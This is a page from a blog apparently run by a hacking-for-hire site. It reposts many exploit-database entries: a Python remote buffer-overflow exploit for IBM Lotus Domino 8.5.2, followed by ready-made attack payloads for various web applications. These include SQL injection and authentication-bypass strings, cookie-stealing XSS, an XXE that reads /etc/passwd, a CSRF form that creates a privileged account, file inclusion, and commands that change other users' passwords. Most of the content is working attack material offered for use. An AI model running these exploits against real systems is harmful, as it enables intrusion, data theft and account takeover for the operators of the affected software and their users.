Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863133834

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/49705/info

IBM Lotus Domino is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue will allow remote attackers to execute arbitrary code with system-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts will result in a denial-of-service condition.

Lotus Domino 8.5.2 is vulnerable; other versions may also be affected. 

#!/usr/bin/python

import socket,struct,sys,os

host="192.168.x.y"					#server ip here!
cookie="1234567890abcdef"	                        #Set your Cookie credential here! Cookie = base64((usr:pwd))
#Shellcode = Using XOR [reg],reg to crash ("like" INT3 :))
Shellcode=chr(0x30)

server=host,80
SEH=struct.pack("<L",0x60404672)                       # POP ESI - POP EBP - RETN nnotes.dll.60404672
nSEH=struct.pack("<L",0x4141347A)                      # INC ecx  ;NOP 
                                                        # INC ecx  ;NOP
 							# JPE  slep ;Detour
vars="__Click=0&tHPRAgentName="                         #tHPRAgentName => Vulnerable POST variable
buf="A"*436                                             #sended buffer-nSEH-SEH
slep="X"*46                                             #pre-shellcode to fix JPE landing

#This function forges our POST request (with our Shellcode sure)
def buildPOST(h,b,c):				
	P="POST /webadmin.nsf/fmHttpPostRequest?OpenForm&Seq=1 HTTP/1.1\r\n"
	P+="Host: "+h+"\r\n"
	P+="User-Agent: oh sure\r\n"
	P+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
	P+="Accept-Language: chinnese plz\r\n"
	P+="Accept-Encoding: gzip,deflate\r\n"
	P+="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
	P+="Keep-Alive: 115\r\n"
	P+="Connection: keep-alive\r\n"
	P+="Referer:  http://"+h+"/webadmin.nsf/dlgConfigPorts?ReadForm&objref=16\r\n"
	P+="Cookie: CWCweb=\"savedLocale:en\"\r\n"
	P+="Authorization: Basic "+c+"\r\n"
	P+="Content-Type: application/x-www-form-urlencoded\r\n"
	P+="Content-Length: %s\r\n" % str(len(b))
	P+="\r\n"
	P+=b
	return P

def main():
	if os.name=="nt":
		os.system("cls")
	else:
		os.system("clear")
	print"\t->[ IBM Lotus Domino 8.5.2 Remote Stack Overflow ]<-"
	print"\t        ->[Remote Code Execution Exploit]<-\n\n"
	print"[+] Crafting buffer..."
	#Creating POST content data
	buffer=vars+buf+nSEH+SEH+slep+Shellcode
	print"[+] Connecting to server..."
	s=socket.socket()
	#Trying connect to IBM Lotus Domino HTTP server
	try:
		s.connect(server)
	#We goin to exit if this fails
	except:
		print"[-] Error connecting to remote server..."
		sys.exit(0)
	print"[+] Crafting POST request..."
	#Crafting final POST
	post=buildPOST(host,buffer,cookie)
	print"[+] 0k, sending..."
	#Sending Shellcode to remote server
	s.send(post)
	#Server is running? Some fails :S
	try:
		print s.recv(2048)
		print"[x] Exploit failed!"
	#Else we achieve remote code execution successfully
	except:
		print"[+] Done!" 
	s.close()
	print"\n[*] By @rmallof"

if __name__=="__main__":
	main()
HireHackking 
source: https://www.securityfocus.com/bid/49677/info

Card sharj is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Card sharj 1.01 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?cardId=[sql inject]

http://www.example.com/index.php?action=[sql inject]

http://www.example.com/Card-sharj-scripts/admin/index.php

Username & Password: admin' or '1=1
HireHackking 
source: https://www.securityfocus.com/bid/49675/info

net4visions is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following products are affected:

net4visions iBrowser 1.4.1 Build 10182009
net4visions iManager 1.2.8 Build 02012008
net4visions iGallery 1.0.0

iBrowser Plugin

http://www.example.com/jscripts/tiny_mce/plugins/ibrowser/scripts/random.php?dir=<script>alert(&#039;zsl&#039;)</script>
http://www.example.com/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/demo/phpThumb.demo.random.php?dir=<script>alert(&#039;zsl&#039;)</script>

iManager Plugin

http://www.example.com/jscripts/tiny_mce/plugins/imanager/scripts/random.php?dir=<script>alert(&#039;zsl&#039;)</script>
http://www.example.com/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb/demo/phpThumb.demo.random.php?dir=<script>alert(&#039;zsl&#039;)</script>

iGallery Plugin 

http://www.example.com/jscripts/tiny_mce/plugins/iGallery/scripts/pthumb/demo/phpThumb.demo.random.php?dir=<script>alert(&#039;zsl&#039;)</script>
HireHackking 
source: https://www.securityfocus.com/bid/49676/info

Apple Mac OS X Lion is prone to multiple security-bypass vulnerabilities.

Local attackers can exploit these issues to obtain sensitive information or change the password of other users on the computer, without sufficient privileges. 

$ dscl localhost -read /Search/Users/bob

$ dscl localhost -passwd /Search/Users/<username>
HireHackking 
source: https://www.securityfocus.com/bid/49674/info

Aspgwy Access is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Aspgwy Access 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/search_results.asp?search_word=&matchword=[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/49673/info

Toko LiteCMS is prone to an HTTP-response-splitting vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Toko LiteCMS 1.5.2 is vulnerable; other versions may also be affected. 

Cross Site Scripting Vulnerabilities

<html>
<title>Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss(){document.forms["xss"].submit();}
</script>
<br /><br />
<form action="http://www.example.com/tokolite1.5.2/editnavbar.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="currPath" value=&#039;"><script>alert(1)</script>&#039; />
<input type="hidden" name="path" value=&#039;"><script>alert(2)</script>&#039; />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!</h3></center></font></b></a><br /><br />
</body></html>


HTTP Response Splitting

====================================================================
/edit.php:
--------------------------------------------------------------------

 3: $charSet = "iso-8859-1";
 4: $dir = "ltr";
 5:
 6: if ( isset( $_POST[ "charSet" ] ) )
 7: {
 8:     $charSet = $_POST[ "charSet" ];
 9:
10:     if ( $charSet == "windows-1255" )
11:     {
12:        $dir = "rtl";
13:     }
14: }
15:
16: header( "Content-Type: text/html; charset=" . $charSet );
HireHackking 
source: https://www.securityfocus.com/bid/49668/info

Multiple Ay Computer products are prone to multiple SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/v1/urundetay.asp?id=21%28%29

http://www.example.com/v1/default.asp?getir=urunler&id=39%28%29

http://www.example.com/v1/linkler.asp?id=2%28%29

http://www.example.com/detay.asp?ilanid=8%28%29 [SQL]

http://www.example.com/kategoriler.asp?id=4%28%29 [SQL]

http://www.example.com/link.asp?page=referanslarimiz&id=2%28%29 [SQL]

http://www.example.com/?catid=23+union+select+0,1,2,3,4,5+from+admin
HireHackking 
source: https://www.securityfocus.com/bid/49667/info

ASP Basit Haber Script is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

ASP Basit Haber Script 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/haber.asp?id=28+union+select+0,kullaniciadi,sifre,3,4,5+from+admin
HireHackking 
source: https://www.securityfocus.com/bid/49660/info

PunBB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

GET
/login.php?action=out&id=3&csrf_token=4b072f27396cec5d79"/><script>alert(oink)</script>
GET
/misc.php?action=markforumread&fid=1&csrf_token=c173cabad786"/><script>alert(oink)</script>

POST /delete.php?id=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_confirm=>"&#039;><script>alert(oink)</script>&delete=>"&#039;><script>alert(oink)</
script>

POST /edit.php?id=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_message=>"&#039;><script>alert(oink)</script>&submit=>"&#039;><script>alert(oink)</
script>

POST /login.php?action=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_email=>"&#039;><script>alert(oink)</script>&request_pass=>"&#039;><script>alert(oin
k)</script>

POST /misc.php?email=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&redirect_url=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_subject=>"&#039;><script>alert(o
ink)</script>&req_message=>"&#039;><script>alert(oink)</script>&submit=>"&#039;><script>alert(oink)</script>

POST
/profile.php?action=>"&#039;><script>alert(oink)</script>&id=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_old_password=>"&#039;><script>alert(oink)</script>&req_new_password1=>"&#039;><scri
pt>alert(oink)</script>&req_new_password2=>"&#039;><script>alert(oink)</script>&update=>"&#039;><script>alert(oink)</script>

POST /register.php?action=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_username=>"&#039;><script>alert(oink)</script>&req_password1=>"&#039;><script>alert
(oink)</script>&req_password2=>"&#039;><script>alert(369448)</script>&req_email1=>"&#039;><script>alert(oink)</script>&timezone=>"&#039;><script>alert(oink)</script>&register=>"&#039;>
<script>alert(oink)</script>
HireHackking 
source: https://www.securityfocus.com/bid/49650/info

StarDevelop LiveHelp is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

StarDevelop LiveHelp 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?language_file=[LFI]%00
HireHackking 
source: https://www.securityfocus.com/bid/49625/info

Auctions plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Owen Cutajar Auctions versions 1.8.8 and prior are vulnerable. 

http://www.example.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
HireHackking 
source: https://www.securityfocus.com/bid/49620/info

Microsoft SharePoint is prone to multiple URI open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.

The following products are affected;

Microsoft SharePoint 2007
Microsoft SharePoint 2010 

http://www.example.com/Docs/Lists/Announcements/NewForm.aspx?Source=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/49614/info

Orion Network Performance Monitor is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Orion Network Performance Monitor 10.1.3 is affected; other versions may also be vulnerable. 

http://www.example.com/Orion/NetPerfMon/CustomChart.aspx?ChartName=AvgRTLoss&NetObject=N:355&ResourceID=17&NetObjectPrefix=N&Rows=&Title=%3Cscript%3Ealert%28%27ALERTA%27%29%3C/script%3E
HireHackking 
========================================================================
                   title: Pentaho User Console XML Injection Vulnerability
                 program: Pentaho BI User Console
      vulnerable version: Pentaho < 4.5.0
                homepage: http://www.pentaho.com/
               Tested on: Linux x86/x86_64
                   found: Feb. 5 2014
   Original Discovery by: Taylor Tippins
              Exploit By: K.d Long kd@stonedcoder.org
========================================================================

Vendor description:
-------------------

The Pentaho Business Analytics suite manages Business Intelligence solutions, generate the reports, 
data aggregation, and provides users access to analysis views.

Vulnerability description:
--------------------------
   The dashboardXml parameter is vulnerable to XML external entity injection. The tag <!DOCTYPE foo 
[<!ENTITY xxe8295c SYSTEM "file:///etc/passwd"> ]> was injected into the XML of the client's POST 
request. This tag defines an external entity, xxe8295c, which references a file on the XML parser's 
filesystem. This entity was then used within a data field in the XML document. The server's response 
contains the contents of the specified file, indicating that the parser processed the injected 
external entity.

By manipulating the POST request to “/pentaho/content/dashboards” it is possible to inject arbitrary 
XML declarations- and tags. This request is triggered while a user is creating a customized dashboard.

Proof of concept:
-----------------
The following entity declaration would create a new XML entity with the content of the /etc/passwd 
file which can be referenced in the following XML request content:

---cut here---
POST /pentaho/content/dashboards HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: https://example.com/pentaho/content/dashboards?command=new
Cookie: loginNewWindowChecked=false; JSESSIONID=61448378278C147D05BC95BAB4B63F19
Content-Length: 2458
Connection: keep-alive


command=templatecontents&dashboardXml=<!DOCTYPE foo [<!ENTITY xxe8295c SYSTEM "file:///etc/passwd"> 
]><dashboard>
<title>New Dashboard</title>
<heading>New Dashboard</heading>
<enableWidgetPrinting>false</enableWidgetPrinting>
<documentation>
<author>test</author>
<description></description>
<icon></icon>
</documentation>
<template-ref>xul/04-1-then-2.xul&xxe8295c;</template-ref>
<theme-ref>00-Onyx</theme-ref>
<layout>
<overlay  xmlns:pho="http://www.pentaho.com">
<box id="Panel_1" pho:title="Untitled 1" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_2" pho:title="Untitled 2" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_3" pho:title="Untitled 3" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_4" pho:title="Untitled 4" type="titled-panel"  flex="1"  collapsed="false" />
<box id="Panel_5" pho:title="Untitled 5"/>
<box id="Panel_6" pho:title="Untitled 6"/>
<box id="Panel_7" pho:title="Untitled 7"/>
<box id="Panel_8" pho:title="Untitled 8"/>
<box id="Panel_9" pho:title="Untitled 9"/>
<box id="Panel_10" pho:title="Untitled 10"/>
<box id="titlebar" title="" height="23"  hidden="false"  width="0"  type="pagetitle" 
collapsed="false" /><box id="widget-area" type="scrollarea"/><box id="widget-area" flex="1"/><box 
id="FilterPanel" title="" height="100"  hidden="true"  width="0"  type="povpanel"  collapsed="false" 
/><box id="hbox1" type="layout"/><box id="hbox1" flex="1"/><box id="hbox2" type="layout"/><box 
id="hbox2" flex="1"/></overlay>
</layout>
<parameters>
</parameters>
<widgetJavascript><![CDATA[[]]]></widgetJavascript>
</dashboard>
&type=html
---cut here---


Vulnerable versions:
--------------------
Pentaho User Console Release 4.5.0.GA.49857


Vendor contact timeline:
------------------------
02/16/2014: Vendor notified via email
HireHackking 
source: https://www.securityfocus.com/bid/49587/info

Papoo CMS Light is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Papoo CMS Light 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/papoo/papoo_light/index.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/kontakt.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/inhalt.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/forum.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/guestbook.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/account.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/login.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/index/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/forumthread.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/forum/"></a><script>alert(document.cookie);</script>
HireHackking 
source: https://www.securityfocus.com/bid/49535/info

Spring Security is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sufficiently sanitize input.

By inserting arbitrary headers into an HTTP response, attackers may be able to launch various attacks, including cross-site request forgery, cross-site scripting, and HTTP-request smuggling.

The following versions are vulnerable:

Spring Security 2.0.0 through 2.0.6
Spring Security 3.0.0 through 3.0.5 

http://www.example.com//mywebapp/logout/spring-security-redirect=%0d%0a%20NewHeader%3ainjectedValue
HireHackking 
source: https://www.securityfocus.com/bid/49525/info

Pluck is prone to multiple file-include and a file-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

An attacker can exploit local file-disclosure vulnerability to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Pluck 4.7 is vulnerable; other versions may also be affected. 

1-File Inclusion:
 
include(ALBUMS_DIR.&#039;/&#039;.$_GET[&#039;album&#039;].&#039;.php&#039;);
 
Require:
 
if (file_exists(ALBUMS_DIR.&#039;/&#039;.$_GET[&#039;album&#039;].&#039;.php&#039;)) {
function albums_pages_site() {
 
2-File Inclusion
 
include (ALBUMS_DIR.&#039;/&#039;.$album[&#039;seoname&#039;].&#039;.php&#039;);
foreach ($albums as $album) {
$albums  = albums_get_albums();
 
3-File Disclosure
 
echo readfile(&#039;../../settings/modules/albums/&#039;.$image);
$image = $_GET[&#039;image&#039;];
 
requires:
 
if (file_exists(&#039;../../settings/modules/albums/&#039;.$image)) {
HireHackking 
source: https://www.securityfocus.com/bid/49521/info

Wireshark is prone to a remote denial-of-service vulnerability because it fails to properly handle certain files.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

Wireshark 1.4.0 to 1.4.8 and 1.6.0 to 1.6.1 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36128.pcap
HireHackking 
Advisory: Reflecting XSS- and SQL Injection vulnerability in CMS Piwigo <=
v. 2.7.3
Advisory ID: SROEADV-2015-06
Author: Steffen Rösemann
Affected Software: CMS Piwigo <= v. 2.7.3 (Release date: 9th January 2015)
Vendor URL: http://piwigo.org
Vendor Status: patched
CVE-ID: -

==========================
Vulnerability Description:
==========================

Piwigo <= v. 2.7.3 suffers from a reflecting XSS and a SQL injection in its
administrative backend.

==================
Technical Details:
==================

The reflecting XSS vulnerability resides in the "page" parameter used in
the file admin.php which can be found in the administrative backend located
here in a common Piwigo installation:

http://{TARGET}/admin.php?page=plugin-AdminTools

Exploit-Example:

http://
{TARGET}/admin.php?page=plugin-AdminTools%3Cimg%20src=n%20onerror=eval%28String.fromCharCode%2897,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59%29%29%20%3E

The SQL injection vulnerability can as well be found in the administrative
backend and can be found in the "History" functionality located here:

http://{TARGET}/admin.php?page=history

The SQL injection vulnerability can be exploited by appending arbitrary SQL
statements in a POST request to the parameter "user":

Exploit-Example:

POST /piwigo/admin.php?page=history HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/piwigo/admin.php?page=history&search_id=82
Cookie: pwg_display_thumbnail=no_display_thumbnail;
pwg_id=19rpao6bhdsn3l0u0o1im4m680;
_pk_id.1.1fff=7588ea02f4577539.1420720532.1.1420720532.1420720532.
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

start=2015-01-08+&end=2015-01-09+&types%5B%5D=none&types%5B%5D=picture&types%5B%5D=high&types%5B%5D=other&user=2)
AND 1=2 UNION SELECT user(),database(),3,version(),5,6,7,8,9 --
&image_id=&filename=&ip=&display_thumbnail=no_display_thumbnail&submit=Submit

=========
Solution:
=========

Install the latest version 2.7.4 (released 17th February 2015).


====================
Disclosure Timeline:
====================
08-Jan-2015 – found the vulnerability
09-Jan-2015 - informed the developers
09-Jan-2015 – release date of this security advisory [without technical
details]
09-Jan-2015 - vendor responded, will work on a patch (released in v. 2.7.4)
17-Feb-2015 - vendor releases patch 2.7.4 (see [3])
17-Feb-2015 - release date of this security advisory
17-Feb-2015 - send to FullDisclosure

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://piwigo.org
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-06.html
[3] http://piwigo.org/forum/viewtopic.php?id=25179
HireHackking 
========================================================
 I. Overview
 ========================================================
 Multiple CSRF & Cross-Site Scripting (XSS) vulnerabilities have been identified in
 Crushftp 7.2.0 (Web Interface) on default configuration. These vulnerabilities allows
 an attacker to gain control over valid user accounts, perform operations
 on their behalf, redirect them to malicious sites, steal their credentials,
 and more.
 ========================================================
 II. Severity
 ========================================================
 Rating: Medium
 Remote: Yes
 Authentication Require: Yes
 ========================================================
 III. Vendor's Description of Application
 ========================================================
 CrushFTP is a robust file transfer server that makes it easy to setup secure connections with your users.
'Crush' comes from the built-in zip methods in CrushFTP. They allow for downloading files in compressed formats in-stream, 
or even automatically expanding zip files as they are received in-stream. This is called ZipStreaming and can greatly accelerate 
the transfer of many types of files.
Secure management is web based allowing you the ability to manage and monitor the server from anywhere, or with almost any device. 
Easy in place server upgrades without complicated installers. Runs as a daemon, or Windows service with no need for a local GUI.
CrushFTP is watching out for you by detecting common hack attempts and robots which scan for weak passwords. It will automatically 
protect you against DDoS attacks. No need for you to do anything as CrushFTP will automatically ban these IPs to prevent wasted logging and CPU usage. 
This keeps your server secure from unwanted abuse.
User management includes inheritance, groups, and virtual file systems. If you want simple user management, 
it can be as easy as just making a folder with a specific name and nothing else. 
Think about how easily you can delegate user administration with CrushFTP's role based administration and event configuration. 
http://www.crushftp.com/index.html

 ========================================================
 IV. Vulnerability Details & Exploit
 ========================================================

 1) Multiple CSRF Vulnerabilities (Web Management interface - Default Config) 

 a) An attacker may add/delete/modify user's accounts 
 b) May change all configuration settings 

Request Method: POST
Location: /WebInterface/fuction/

Proof of Concept:- 

<html>

 <body>
 <form action="http://127.0.0.1:8080/WebInterface/function/" method="POST">
 <input type="hidden" name="command" value="setUserItem" />
 <input type="hidden" name="data&&95;action" value="new" />
 <input type="hidden" name="serverGroup" value="MainUsers" />
 <input type="hidden" name="username" value="Hacker" />
 <input type="hidden" name="user" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><user&&32;type&&61;"properties"><username>Hacker<&&47;username><password>123456<&&47;password><max&&95;logins>0<&&47;max&&95;logins><root&&95;dir>&&47;<&&47;root&&95;dir><&&47;user>" />
 <input type="hidden" name="xmlItem" value="user" />
 <input type="hidden" name="vfs&&95;items" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><vfs&&32;type&&61;"properties"><&&47;vfs>" />
 <input type="hidden" name="permissions" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><permissions&&32;type&&61;"properties"><item&&32;name&&61;"&&47;">&&40;read&&41;&&40;write&&41;&&40;view&&41;&&40;resume&&41;<&&47;item><&&47;permissions>" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

2) Multiple Cross-Site Scripting (Web Interface - Default Config)

Type: Reflected
Request Method: POST 
Location: /WebInterface/function/ 
Parameter: vfs_items
Values: <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> 
 vfs_items = <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> 


Proof of Concept:

POST /WebInterface/function/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/WebInterface/UserManager/index.html
Content-Length: 656
Cookie: XXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

command=setUserItem&data_action=new&serverGroup=MainUsers&username=test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Etest2%3C%2Fusername%3E%3Cpassword%3Etest2%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0<a%20xmlns:a%3d'http://www.w3.org/1999/xhtml'><a:body%20onload%3d'alert(1)'/></a>%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22properties%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E


Type: Reflected
Request Method: GET 
Location: /WebInterface/function/ 
Parameter: path
Values: <script>alert(1)<%2fscript>
 path=%<script>alert(1)<%2fscript>


GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%<script>alert(1)<%2fscript>&random=0.3300707341372783 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/
Cookie: XXXXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 ========================================================
 VI. Affected Systems
 ========================================================
Software: Crushftp (Web Interface)
Version: 7.2.0 Build : 147 < 7.3
Configuration: Default
 ========================================================
 VII. Vendor Response/Solution
 ========================================================

 Vendor Contacted : 02/12/2015
 Vendor Response : 02/12/2015
 Solution : upgrade to 7.3 or change <csrf>true</csrf> in prefs.xml 

 ========================================================
 VIII. Credits
 ========================================================
 Discovered by Rehan Ahmed
 knight_rehan@hotmail.com
HireHackking

Piwigo 2.7.3 - SQL Injection 

[CVE-2015-1517] Piwigo - SQL Injection in Version 2.7.3

----------------------------------------------------------------

Product Information:

Software: Piwigo 

Tested Version: 2.7.3, released on 9 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link: http://piwigo.org/basics/downloads

Description: Piwigo is photo gallery software for the web, built by an active community of users and developers. Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource (copied from http://piwigo.org/)

----------------------------------------------------------------

Vulnerability description:

When an authenticated user is navigating to "Photos/Batch Manager" he is able to apply different filters. When all filters are activated and the button "Refresh photo set" is executed, the following POST request is sent to the server:



POST /piwigo-2.7.3/piwigo/admin.php?page=batch_manager HTTP/1.1
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Cookie: pwg_id=ri5ra17df1v20b0h51liekceu1; interface_language=s%3A2%3A%22en%22%3B

filter_category_use=on&filter_level=1'&filter_level_include_lower=on&filter_dimension_min_width=600&filter_filesize_use=on&regenerateSuccess=0&filter_search_use=on&author=Type+the+author+name+here&filter_prefilter=caddie&title=Type+the+title+here&filter_dimension_min_ratio=1.25&level=4&tag_mode=OR&filter_prefilter_use=on&regenerateError=0&filter_filesize_min=0&filter_duplicates_date=on&remove_date_creation=on&date_creation=2015-02-06+00%3a00%3a00&submitFilter=Refresh+photo+set&filter_dimension_max_height=2300&filter_category_recursive=on&remove_title=on&filter_tags_use=on&filter_filesize_max=15.1&filter_dimension_max_width=3500&filter_dimension_max_ratio=1.78&selectAction=------------------&filter_dimension_use=on&remove_author=on&filter_duplicates_dimensions=on&start=0&filter_level_use=on&q=555-555-0199@example.com&confirm_deletion=on&filter_dimension_min_height=480


This POST request is prone to boolean-based blind, error-based and AND/OR time-based blind SQL injection in the parameter filter_level. When adding a single quote a database error message can be provoked. 

----------------------------------------------------------------

Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

----------------------------------------------------------------

Solution:

Update to the latest version, which is   2.7.4, see http://piwigo.org/basics/downloads.

----------------------------------------------------------------

Timeline:

Vulnerability found: 6.2.2015
